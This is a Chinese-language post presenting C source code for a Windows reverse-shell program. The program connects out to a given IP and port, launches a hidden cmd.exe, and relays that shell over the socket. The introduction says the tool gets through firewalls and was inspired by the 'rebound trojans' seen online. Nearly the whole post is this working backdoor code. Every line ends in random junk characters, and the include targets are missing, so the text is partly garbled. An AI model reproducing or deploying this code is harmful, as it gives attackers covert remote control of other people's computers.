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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eY` z\I  
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/* ============================== U`) " ;WN  
Rebound port in Windows NT s>L-0vG  
By wind,2006/7 I0l3"5X a  
===============================*/ @8c@H#H  
#include r } Wdj  
#include cl`kd)"v  
/mJb$5=1  
#pragma comment(lib,"wsock32.lib") n5"i'o{w  
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void OutputShell(); ~<u\YIJ  
SOCKET sClient; S'RRe84 C  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pjq9BK9p  
*As"U99(  
void main(int argc,char **argv) N#-%b"(  
{ -5e8m4*  
WSADATA stWsaData; L2Cb/!z`c  
int nRet; <>KQ8:  
SOCKADDR_IN stSaiClient,stSaiServer; +mG"m hF  
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if(argc != 3) MA{ZmPm)  
{ I[A<e]uK  
printf("Useage:\n\rRebound DestIP DestPort\n"); DBy%"/c  
return; ,MHK|8!  
} 1WaQWZ:=  
dgQ<>+9]6  
WSAStartup(MAKEWORD(2,2),&stWsaData); q !}~c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R,.qQF\*  
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stSaiClient.sin_family = AF_INET; jKcl{',  
stSaiClient.sin_port = htons(0); }`Wo(E}O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _$A?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'xuxMav6m  
{ w?_'sP{pd  
printf("Bind Socket Failed!\n"); pbh>RS=ri  
return; DQObHB8L  
} = <A0;  
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stSaiServer.sin_family = AF_INET; \*5z0A9)5)  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S^1ZsD.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k0FAI0~(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I7h v'3u  
{ b$Ei>%'/";  
printf("Connect Error!"); y:zNf?6&  
return; B!x6N"  
} t0<RtIh9e  
OutputShell(); >t9DI  
} 2ETv H~23  
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void OutputShell() "KCG']DF  
{ I=Y_EjZ D  
char szBuff[1024]; /V/ )A\g  
SECURITY_ATTRIBUTES stSecurityAttributes; eF0FQlMe[  
OSVERSIONINFO stOsversionInfo; U |eh  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "\lO Op^-  
STARTUPINFO stStartupInfo; *k&V;?x|wt  
char *szShell; 6[FXgCb  
PROCESS_INFORMATION stProcessInformation; <D&  Ep  
unsigned long lBytesRead; C!K&d,M  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mxH63$R  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]w*`}  
stSecurityAttributes.lpSecurityDescriptor = 0; > B;YYj~f}  
stSecurityAttributes.bInheritHandle = TRUE; -jNnx*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vytO8m%U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O|Y`:xvc  
J}-e9vK-#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 4F -<j!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p")"t`k7  
stStartupInfo.wShowWindow = SW_HIDE; UZ-pN_!Z:  
stStartupInfo.hStdInput = hReadPipe; ^\S~rW.3_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H7drDw  
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GetVersionEx(&stOsversionInfo); Y#P!<Q>}  
3*?W2;Zw$  
switch(stOsversionInfo.dwPlatformId) ~USyN'5lU7  
{ 0e:j=kd)NH  
case 1: 6h) &h1Yd  
szShell = "command.com"; CCC9I8rZD  
break; #l*w=D?  
default: M) JozD%  
szShell = "cmd.exe"; Ag{)?5/d_  
break; ([SJ6ff]&  
} vwAhNw2-  
s[7/w[&  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O#{`Fj`  
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send(sClient,szMsg,77,0); svt3gkR0  
while(1) [tC=P&<  
{ hq&9S{Ep  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A*|\E:fo  
if(lBytesRead) 3 l j^I  
{ iTT7<x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ym` 4v5w  
send(sClient,szBuff,lBytesRead,0); *6}'bdQbNP  
} fG8^|:  
else Ss+  
{ }t|i1{%_  
lBytesRead=recv(sClient,szBuff,1024,0); BNO+-ob-  
if(lBytesRead<=0) break; X-CoC   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N]ebKe  
} WXf[W  
} LF{8hC[  
m}beT~FT_  
return; %n,_^voE  
}
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